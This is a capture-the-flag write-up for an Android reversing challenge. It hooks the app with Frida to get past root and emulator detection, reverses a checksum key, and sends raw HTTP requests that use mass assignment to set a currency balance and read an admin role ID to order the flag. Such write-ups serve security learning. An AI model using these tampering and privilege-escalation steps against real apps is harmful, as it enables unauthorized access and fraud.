Weapons
- Frida
- Jadx
- ADB
- Android Emulator
- Burp suite
Hack-Map
- Login with any name and get Dex1
- Decompile first Dex1 then pick up configuration
- Hook Andex and refill conf to vars
- Mass assignment in updating profile
- Order the flag and get Dex3
- Decompile Dex3 and see Configuration( ) & Order_as_gold_user( )
- Get roll_id of admin by Configuration( ) returned url
- Begin from scratch and change the roll_id of signing in
- Get Dex2 and get golden_usr_url in tha last index of returned array.
- Make Order_as_gold_user request with these config
- Copy + paste flag to text-field of contest :)
Foots-on App
GET /api/userClass/register/TonyMontana HTTP/1.1Host: 66.172.33.148:5000Connection: closeAccept-Encoding: gzip, deflateUser-Agent: okhttp/3.10.0
This configuration will be used in almost all requests. With some reversing you can see “encryption_key” is used after b64 decoding :
MyDifficultPasswnow the first-dex is downloaded to “storage/…/Downloads/conf/”
if strArr.length!=0:
At first glance it’s encrypted but the app decrypt this shit and we can see the plain like a boss , if you insist , see crypto-work .
There is root & emulator detection in first-dex (reversed_with_JADX).
Now what we can do with this disaster, we probabley have 3 approaches :
- Hook the method of Dex when its loading and bypass detections
- Recompile Andex.apk with these strings.
- Hook Andex and fill the variables with our desire strings(static field in Utils.java).
I used third => i’m happy :)
Hook Time
Up and running frida on emulator
After run Frida server on emulator we should load our Js-script on getDex1( ) method in ConfigurationActivity:
frida -U -l hook.js com.asisctf.AndexChange static value and keep going …
Now you are in menuActivity
Then , in shop you can order the flag , Oooops you can’t buy because :
No money , No honey :)Now go to profile and update profile.
Profile update api call:
POST /api/userClass/me HTTP/1.1
uuid: d15466f0-40ef-4194-bbca-6ca306acd819
checksum: e932a75007de5b4709342fede7b7250f
Content-Type: application/json; charset=UTF-8
Content-Length: 22
Host: 66.172.33.148:5000
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.10.0{"username":"asdsdad"}
After that Andex, make a Get request to update profile. response is :
Ommm…
blc_currency is my favorite girl < 3.
Mass Assignment
Intercept profile update request and add the blc_currency to it. Before this we must define that wtf checksum?
Take it easy. Reverse Engineer always wins [OWASP/MSTG]
updateProfileActivity > onCreate:
CheckSum=md5({“username”: “tonyMontanaaa”, “blc_currency”: 1000}MyDifficultPassw)
Send request of profile update to repeater and change it to :
POST /api/userClass/me HTTP/1.1uuid: f143a288-9181-4643-93e7-c31bf130d983
checksum: 79f8e9df46a00e9d6953a3c13655531f
Content-Type: application/json; charset=UTF-8
Content-Length: 51
Host: 66.172.33.148:5000
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.10.0{"username": "tonyMontanaaa", "blc_currency": 1000}
Response :
{"code":200,"data":{"result":"ok"}}Yesss ladies , its time to shop.
Lets order the flag and response is:
{"code":200,"data":{"result":"625551C4-BB3F-48FB-9C29-A69F7AD74968"}}That is another dex url we can see in getDex3 method in ShopOrderActivity.
When it downloaded to storage like before we can easily pull that file by ADB and reverse it :
It contains 3 functions and only flag_response is loaded on app. To find the flag, concentrate on the other two methods.
order_as_gold_user needs 3 input :
- gold_url = ?
- user_id = ?
- item_id= 5 (flag item_id in shop)
in configuration method we have a url:
"/api/userClass/u/[user_id]/get/[property_name]"if you are a bad guy :
make this request :
GET /api/userClass/u/1/get/role_id HTTP/1.1and the response is :
{"code":200,"data":{"property":"RIDDFBE279A-8DC0-46DF-88A6-9717757C29A2"}}This is role_id of admin .
Restart Andex from beginning and set the new rol_id to get dex :
GET /api/get_config/RIDDFBE279A-8DC0–46DF-88A6–9717757C29A2 HTTP/1.1
uuid: RIDDFBE279A-8DC0-46DF-88A6-9717757C29A2
Host: 66.172.33.148:5000
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.10.0The response contains another dex url :
{“code”:200,”data”:{“dex”:”8E04B1AE-8F63–4999–8D0E-886210B7F9D0"}}Get the dex and reverse it using jadx. It has one more property than dex1 :
“/api/shop/order/as/gold/item_id/”Now we satisfy all requirements of order_as_golden_user. create the request of order_as_golden_user:
GET /api/shop/order/as/gold/item_id/5 HTTP/1.1
uuid: RIDDFBE279A-8DC0-46DF-88A6-9717757C29A2
Host: 66.172.33.148:5000
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.10.0ASIS{1000c2e79e6fc679a46bad1b065639c5}